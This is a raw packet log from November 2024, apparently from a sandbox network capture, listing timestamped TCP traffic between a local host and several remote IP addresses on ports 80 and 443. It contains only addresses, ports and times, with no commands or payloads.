Nov 23, 2024 19:52:26.893467903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.893475056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.893533945 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.896286964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.896368027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.896392107 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.896426916 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.898844957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.898905039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.898986101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.899075031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.916418076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.916565895 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.916565895 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.916672945 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.975404978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.975470066 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.975552082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.975603104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.976780891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.976912022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.976969004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.979496002 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.979614019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.979792118 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.982222080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.982325077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.982340097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.982594013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.984924078 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.984987974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.984996080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.985193014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.987637043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.987735987 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.987756014 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.988151073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.990401983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.990458965 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.990489960 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.990765095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.993158102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.993222952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.993254900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.993316889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.995811939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.995899916 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.995903969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.996217966 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.016489983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.016501904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.016586065 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.017299891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.017383099 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.017489910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.017577887 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.020150900 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.020164013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.020224094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.021637917 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.021747112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.021795988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.024318933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.024408102 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.024732113 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.025986910 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.026020050 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.026616096 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.026623011 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.061147928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.061244965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.061245918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.061301947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.062309980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.062395096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.100383997 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.100450993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.100518942 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.100518942 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.101730108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.101773977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.101810932 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.101866961 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.104485989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.104547024 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.104552984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.104676962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.104706049 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.105003119 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.106467009 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.106580973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.106617928 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.106617928 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.109203100 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.109289885 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.109369040 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.109433889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.111931086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.112020969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.112071037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.112071037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.114697933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.114753008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.114779949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.114799976 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.117364883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.117458105 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.117542028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.117928028 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.117949009 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.119251013 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.119259119 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.119865894 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.119873047 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.120070934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.120146990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.120264053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.120333910 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.120481968 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.120486021 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.122761965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.123101950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.141288996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.141334057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.141383886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.141383886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.142529964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.142611980 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.142782927 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.142863989 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.142889977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.142937899 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.145445108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.145518064 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.145560026 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.145754099 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.148056030 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.148121119 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.194674969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.194781065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.194847107 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.195894003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.196036100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.226408005 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.226497889 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.226556063 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.227706909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.227760077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.227811098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.227895021 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.229902029 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:27.229962111 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:27.230041981 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:27.230581045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.230592966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.230667114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.231564045 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:27.231584072 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:27.233038902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.233131886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.233164072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.233270884 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.235683918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.235754967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.235758066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.235812902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.238306046 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.238349915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.238369942 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.238394022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.240961075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.241055012 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.241106033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.241245985 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.243623972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.243711948 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.243776083 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.246089935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.246140003 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.246177912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.246262074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.248543024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.248631954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.248683929 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.248697996 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.266582012 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.266716003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.266799927 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.267738104 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.267843962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.268034935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.268162012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.268162966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.268234968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.270514011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.270606995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.270631075 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.270751953 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.272993088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.273072958 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.296700001 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.296782017 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.296983004 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.297385931 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.297410965 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.297477961 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.297486067 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.300127029 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.300163031 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.300286055 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.300508976 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.300520897 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.335709095 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.335784912 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.335936069 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.336420059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.336549997 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.336553097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.336563110 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.336587906 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.336600065 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.336607933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.336610079 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.337583065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.337701082 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.339417934 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.339478016 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.339730978 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.340008020 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.340034008 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.365971088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.366067886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.366082907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.366180897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.366748095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.366833925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.366833925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.366906881 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.369205952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.369302034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.369328976 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.369391918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.371666908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.371783972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.371805906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.371907949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.374136925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.374250889 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.374279976 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.374317884 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.376643896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.376723051 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.376799107 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.376871109 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.379077911 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.379199028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.379209042 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.379287004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.381606102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.381700993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.381701946 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.381789923 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.384016037 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.384125948 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.384155989 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.384234905 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.386580944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.386651039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.386719942 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.388989925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.389082909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.389108896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.389219046 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.421113968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.421226978 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.421360970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.421468973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.422318935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.422396898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.422458887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.422516108 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.425025940 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.425118923 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.425138950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.425322056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.427333117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.427489042 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.483350992 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.483407021 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.483449936 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.483491898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.484602928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.484778881 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.516175032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.516185999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.516238928 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.516730070 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.516787052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.516792059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.516918898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.518174887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.518237114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.518280983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.518337965 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.520713091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.520782948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.520847082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.520895004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.523155928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.523272991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.523324966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.523561954 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.525592089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.525707960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.525722980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.525772095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.528114080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.528243065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.528291941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.528291941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.530566931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.530666113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.530672073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.530760050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.533073902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.533181906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.533212900 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.533279896 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.535521984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.535610914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.535650969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.535650969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.538018942 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.538175106 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.538223982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.538290977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.540606022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.540661097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.540673018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.540896893 CET	49736	80	192.168.2.6	185.215.113.206
